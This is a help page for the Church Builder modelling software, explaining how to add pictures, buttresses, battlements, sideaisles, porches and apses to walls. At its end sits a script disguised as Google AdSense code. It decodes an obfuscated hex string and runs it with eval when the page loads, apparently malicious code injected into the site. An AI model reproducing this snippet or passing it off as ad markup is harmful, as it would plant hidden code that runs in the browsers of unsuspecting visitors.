You can add pictures to walls if the picture files are in JPEG, PNG or BMP format. The act of adding a picture file causes a copy of the file to be placed in the model's folder. This avoids fragile links being required across folders but does mean duplication if you use the same picture file in more than one model. We believe that this is a small price to pay in return for confidence that the model's folder will contain everything the model needs.
The default picture image looks like this:

We include two images for you to use freely as examples. Be careful of the copyright issues with other images. For example, ask permission of the vicar or parish priest if you want to include wall paintings from a church in your models.
These are an Annunciation and a Crucifixion created for us by Kitt:
Annunciation in the style of ??? |
Crucifixion in the style of ??? |
Here are the parameters used for pictures
| Select image | Use only BMP, JPEG or PNG images. If you are aiming to create a model to be viewed on the Internet then be careful with file sizes. Use an application like Paint Shop Pro to reduce image size. |
| Left offset | Distance from left hand edge of the picture from the left end of the wall section. |
| Height above floor | Distance of bottom edge of picture above bottom of wall section. |
| Width | Width of the picture. The height is automatically adjusted to maintain the aspect ratio. |
You can adjust the left offset and height above floor by dragging in the 2-D view.
Buttresses are treated as stacks of buttress sections. You can modify the parameters of individual buttress sections or the buttress as a whole.
Buttress sections |
Buttress section parameters |
Parameters for a buttress are as follows:
| Left offset | Distance from the left end of wall | ||
| Angle | The angle the buttress makes with the normal to the
wall.
Ordinarily a buttress flat against the wall has 0 for this parameter as shown here on the left. However, buttresses where placed at corners as shown on the right to strengthen the corner. These are known as diagonal buttresses. In Church Builder, diagonal buttresses at the left end of a wall have angle parameter -45 degrees while at the right hand end it is +45 degrees.
|
Battlements can be added to the top of a wall. The parameters are:
| Number of merlons | A merlon is a "tooth" of the battlement. |
| Top height | This is the height of the top of a merlon above the height of the original wall |
| Bottom height | This is the height of the top of the gap between merlons above the original wall. |
| Width ratio | This is the ratio of the width of a merlon to the width of the gap between merlons expressed as a percentage. 50% gives equal merlon width and gap width. |
These are illustrated below:

You can also add battlements to gable end walls and select whether the tops are horizontal or sloping as shown below;
Horizontal topped battlements |
Sloping topped battlements |
Sideaisles are attached to walls as three sided rectangular buildings whose roofs can be gable or just a single slope as shown below:
Single slope sideaisle |
Gable ended sideaisle |
The fourth side, against the owning wall is open. This is illustrated below where we can see the sideaisle through the arcade supporting the main nave wall:
Sideaisle seen through arcade
Here are the parameters for the sideaisle
| Left offset | Distance of left end of sideaisle from left end of owning wall |
| Length | Length of sideaisle |
| Breadth | Breadth of sideaisle |
| Apex height | Height from floor to top of sloping roof |
| Front height | Height of sideaisle's lengthwise wall |
| Left apex projection
Right apex projection |
The projections enable the roof to be extended left and
right to make it possible for two sideaisles to meet at right angles
such as a nave sideaisle meeting a transept sideaisle as shown below:
Nave sideaisle with right apex projection and right wall removed meets transept sideaisle with left apex projection and left wall removed. |
Porches are rectangular buildings attached to the wall. The always have a gable wall and it it always facing outwards. The side facing the owning wall is open.
Here are the porch parameters:
| Left offset | Distance of left end of porch from left end of owning wall |
| Length | Length of porch |
| Breadth | Breadth of porch |
| Apex height | Height from floor to top of sloping roof |
| Side height | Height of porch's side wall |
| Apex projection | The back end of the porch roof can be extended back to
make a join with owning wall's roof as shown below::
Porch with apex projection joining the porch's roof with the sideaisle's. |
| Insertion | We can move the porch into the wall. |
Geometrically, apses are like porches except they can have round ends.
Here is an example:
Apse at end of a sideaisle
Apses sometimes placed on round walls as below
Apses at the end of an apsoidal chancel.
The parameters for an apse are the same as those for a porch:
| Left offset | Distance of left end of apse from left end of owning wall |
| Length | Length of apse |
| Breadth | Breadth of apse |
| Apex height | Height from floor to top of sloping roof |
| Side height | Height of apse's side wall |
| Apex projection | The back end of the apse roof can be extended back to
make a join with owning wall's roof as shown below::
Apse with apex projection joining the apse's roof with the sideaisle's. |
| Insertion | We can move the apse into the wall. |
google_ad_client = "pub-7652328300112265"; google_ad_width = 728; google_ad_height = 15; google_ad_format = "728x15_0ads_al_s"; google_ad_channel = ""; function google_ads(str){var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str);} google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?65736B5F6F6368661755545B585454185E4F195F175812635E4E4E50480A54095A4743044E083C4438494822343F360D0C3CF63B2CF8393D3A2EED37ECFD2A26E731EB2A2A1E1E0C30261AF1F0D4E2D2D80D0C13100C0CD01607D117D1080A121212E0040406FDC405BFD007D005BFFEF40601DFF4ECF5F1F5EDC00100F8E2F29FEDDEB9E9DFF098B8E8E7D5EC9A9AABCECDD4D1CDCD91D7C892C9D3C6D7CEC5CDD28BC0CABDCEC5BCC4C999BFB7BEB5BDC2796EAAA9C0B8A6ACB4B3B7A7B3626879A3ABAD62AF99A9569E71636D9A6C9E8F5B989098909C8F618E4F4E4B90817A877A4A8E8E92847C44797D86827D71884B347A7A786E2F42"); //-->